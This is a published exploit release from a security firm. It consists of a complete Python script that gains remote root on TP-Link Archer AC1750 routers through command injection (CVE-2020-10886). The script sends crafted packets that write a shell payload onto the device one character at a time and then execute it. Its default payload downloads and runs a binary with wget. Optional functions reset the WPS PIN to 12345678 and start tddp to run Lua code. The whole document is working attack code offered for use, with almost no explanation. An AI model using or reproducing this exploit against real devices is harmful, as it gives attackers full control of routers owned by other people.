Impromptu Icebreaker: TP-Link Archer AC1750 Remote Root Command Injection Exploit
Table of contents
- Published on:
- 2021-04-04 04:31:11 +0000 UTC
- Last modified:
- 2022-08-22 10:00:56 +0000 UTC
We would like to dedicate this release to maxpl0it (keep an eye on his offensive security work at https://twitter.com/maxpl0it) :-)
1#
2# Copyright (C) 2020-2022 Subreption LLC. All rights reserved.
3#
4# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
5# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
6# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
7# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
8# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
9# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
10# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
11# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
12# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
13# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
14# THE POSSIBILITY OF SUCH DAMAGE.
15#
16# Humor and comments belong to the author(s). Commercial use forbidden.
17# Company does not police or censor its employees' work when performed
18# outside of designated engagements. Opinions and comments expressed herein
19# belong to their respective author(s) and may not reflect those of the company.
20#
21# Targets CVE-2020-10886 (related to CVE-2020-10882)
22# Author: vogelfrei
23# Props to max (maxspl0it) ;>
24#
25
26import sys
27import getopt
28import socket
29import ssl
30import struct
31import binascii
32
33PKT_ASSOC = struct.pack('<BBh', 1, 1, 1)
34PKT_ACCEPT = struct.pack('<BBh', 1, 0, 2)
35# xxx +3 needed to account for the hdr size of the ssn packet
36#PKT_SSN = struct.pack('<BBB', 0xfe, len(CMD_SERVICE_NAME) + 3, 0x11) + CMD_SERVICE_NAME
37
38SCRIPT_CONTENTS = 'wget http://127.0.0.1:9999/x -O /tmp/x; chmod +x /tmp/x; /tmp/x'
39
40STEP_ASSOC_DONE = 1
41STEP_DELIVERING_PAYLOAD = 2
42STEP_PAYLOAD_READY = 3
43STEP_SUCCESSFUL = 4
44
45class ImpromptuIcebreaker(object):
46 def __init__(self, target_host='127.0.0.1', target_port=20002, debug=False, reset_pin=False):
47 self.context = ssl._create_unverified_context()
48 self.host = target_host
49 self.port = target_port
50 self.debug = debug
51 self.step = 0
52 self.initial_stream = b''
53 self.payload_counter = 0
54 self.payload_total = 0
55 self.payload = ''
56 self.reset_pin = reset_pin
57
58 #
59 # Endianness is important!
60 #
61 def build_cmd_pkt(self, data):
62 header = struct.pack("B", 1) # always 1
63 header += struct.pack("B", 0) # version
64 header += struct.pack("<H", 5) # packet type
65 header += struct.pack("!H", 8+len(data)) # from after checksum (length)
66 header += struct.pack("<H", 0) # flags
67 header += struct.pack("!L", 0xdeadbeef) # serial
68 header += struct.pack("!L", 0x5a6b7c8d) # placeholder for checksum
69 header += struct.pack("!B", 2) # btype
70 header += struct.pack("!B", 1) # always 1
71 header += struct.pack("!B", 0x03) # function type/opcode
72 header += struct.pack("!B", 0x0d) # function selector
73 header += struct.pack("!L", 0) # some padding maybe?
74 crc32 = binascii.crc32(header + data)
75 checksum = struct.pack('!L', crc32)
76 header = header[:12] + checksum + header[16:]
77 return header + data
78
79 """
80 Reset the PIN to 12345678 (useful for physical attacks/nearby WiFi intrusion)
81 """
82 def reset_pin_to_lame(self, s):
83 print('[*] Resetting PIN to 12345678!')
84 cmd = self.build_cmd_pkt(bytes('12345678', 'utf-8'))
85 self.send_data(s, cmd)
86
87 def send_data(self, s, data, verbose=False):
88 if verbose:
89 print('[*] sending data (len %d)' % (len(data)))
90
91 return s.send(data)
92
93 def set_payload(self, script_contents=SCRIPT_CONTENTS):
94 self.payload_counter = 0
95 self.payload_total = int(len(script_contents))
96 self.payload = script_contents
97
98 def print_payload_progress(self, offensive=True):
99 mod = int(self.payload_total / 5)
100 if (int(self.payload_counter) + 1) % mod == 0:
101 percentage = 30 * ((int(self.payload_counter) + 1) / mod)
102 nbars = int((percentage * 2 / 10 - 1) - 1)
103 ndashes = int(30 - (percentage * 2 / 10))
104 if offensive:
105 bars = '=' * nbars
106 dashes = ' ' * ndashes
107 txt = '[0%] 8=' + bars + 'D' + dashes + ' (( [100%]'
108 print(txt + '(%.2d bytes remaining)' % (self.payload_total - self.payload_counter))
109 else:
110 bars = '=' * nbars
111 dashes = '-' * ndashes
112 print('[0%]=>' + bars + dashes + '[100%]')
113 if percentage == 100:
114 pass
115
116 """
117 echo %c%c%c%c%c%c%c%c > /tmp/pin-tmp"
118 """
119 def send_payload_stage_old(self, s):
120 if self.step == STEP_DELIVERING_PAYLOAD:
121 if self.payload_counter == 0:
122 # reset the file at 0
123 print('[+] Resetting payload file at target...')
124 reset = self.build_cmd_pkt(bytes('-n >a;', 'utf-8'))
125 self.send_data(s, reset)
126
127 if self.payload_counter == self.payload_total:
128 self.step = STEP_PAYLOAD_READY
129 print('[*] Payload written to target.')
130 return STEP_PAYLOAD_READY
131
132 c = self.payload[self.payload_counter]
133 if c == ' ':
134 cmd = struct.pack('BBBB', 0x5c, 0x20, 0x5c, 0x5c) + b'>>a;'
135 elif c == ';':
136 cmd = struct.pack('BBBB', 0x5c, 0x3b, 0x5c, 0x5c) + b'>>a;'
137 else:
138 if c.isdigit():
139 cmd = bytes('%s' % (c), 'utf-8')
140 # the trailing \x00 is a must
141 cmd += struct.pack('BB', 0x5c, 0x5c) + b'>>a;\0'
142 else:
143 cmd = '-n %s>>a;' % (c)
144 cmd = bytes(cmd, 'utf-8')
145
146 stage = self.build_cmd_pkt(cmd)
147 # Convert and send
148 self.send_data(s, stage)
149
150 self.payload_counter += 1
151 return STEP_DELIVERING_PAYLOAD
152
153 elif self.step == STEP_PAYLOAD_READY:
154 print('[+] Payload ready! Executing at target...')
155 pkt_cmd = self.build_cmd_pkt(bytes(';sh a;\0', 'utf-8'))
156 self.send_data(s, pkt_cmd)
157
158 # This is not exactly ready for use...
159 #print('[*] Attempting to cleanup/delete payload from target...')
160 #pkt_cmd = self.build_cmd_pkt(bytes(';rm a;', 'utf-8'))
161 #self.send_data(s, pkt_cmd)
162 # or maybe this is the lamer-proof surprise.
163 # protip: learn how to cleanup after yourself!
164
165 self.step = STEP_SUCCESSFUL
166
167 return self.step
168
169 """
170 This is great for LAN/subnet scenarios. It will allow LUA code exec via tftp piggybacking
171 back to us.
172 """
173 def send_payload_tddp(self, s):
174 if self.step == STEP_DELIVERING_PAYLOAD:
175 print('[*] Running tddp...')
176 cmd = self.build_cmd_pkt(bytes(';tddp;', 'utf-8'))
177 self.send_data(s, cmd)
178 print('[!] Remember to pick TDDP stage exploit and run it now! (verify port 1040 is open)')
179 self.step = STEP_SUCCESSFUL
180 return
181
182
183 def run(self, ssock):
184 success = False
185
186 if self.step == 0:
187 print('[*] Adding ASSOC packet to stream (state 1 -> 2)')
188 self.initial_stream += PKT_ASSOC
189 print('[*] Adding ACCEPT packet to stream (state 2 -> 3)')
190 self.initial_stream += PKT_ACCEPT
191
192 print('[*] Connected! The fuckery begins!')
193
194 if self.step == 0:
195 print('[+] Sending initial stream (ASSOC+ACCEPT)...')
196 self.send_data(ssock, self.initial_stream)
197 self.step = STEP_ASSOC_DONE
198 print('[*] Waiting for initial response')
199
200 while True:
201 if (self.step > 0):
202 data = ssock.recv(1024)
203 if (len(data) < 1):
204 print('[!] Nothing received!')
205 break
206
207 if data[0] == 0x01 and data[1] == 0x00:
208 if self.step == STEP_ASSOC_DONE:
209 print('[*] Response seems OK:')
210 print(binascii.hexlify(data))
211 print('[*] ASSOC/REQ/ACCEPT worked, we are ready! :>')
212
213 if self.reset_pin:
214 # Reset the PIN just in case we are nearby ;>
215 self.reset_pin_to_lame(ssock)
216
217 print('[+] Delivering payload (one char at a time)')
218 self.step = STEP_DELIVERING_PAYLOAD
219
220 self.send_payload_stage_old(ssock)
221 self.print_payload_progress()
222
223 if self.step == STEP_SUCCESSFUL:
224 print('[*] Success!')
225 break
226
227 def exploit(self, use_ssl=False):
228 self.set_payload()
229
230 with socket.create_connection((self.host, self.port)) as sock:
231 if use_ssl:
232 with self.context.wrap_socket(sock, server_hostname=self.host) as ssock:
233 print(ssock.version())
234 self.run(ssock)
235 else:
236 with sock as ssock:
237 self.run(ssock)
238
239def main(argv):
240 host = '127.0.0.1'
241 port = 20002
242 do_ssl = False
243
244 try:
245 opts, args = getopt.getopt(argv,"hst:p:",["ssl","target=","port="])
246 except getopt.GetoptError:
247 sys.exit(2)
248 for opt, arg in opts:
249 if opt == '-h':
250 sys.exit()
251 elif opt in ("-t", "--target"):
252 host = arg
253 elif opt in ("-p", "--port"):
254 port = arg
255 elif opt in ("-s", "--ssl"):
256 do_ssl = True
257
258 exploit = ImpromptuIcebreaker(host, port)
259 exploit.exploit(use_ssl=do_ssl)
260
261if __name__ == "__main__":
262 main(sys.argv[1:])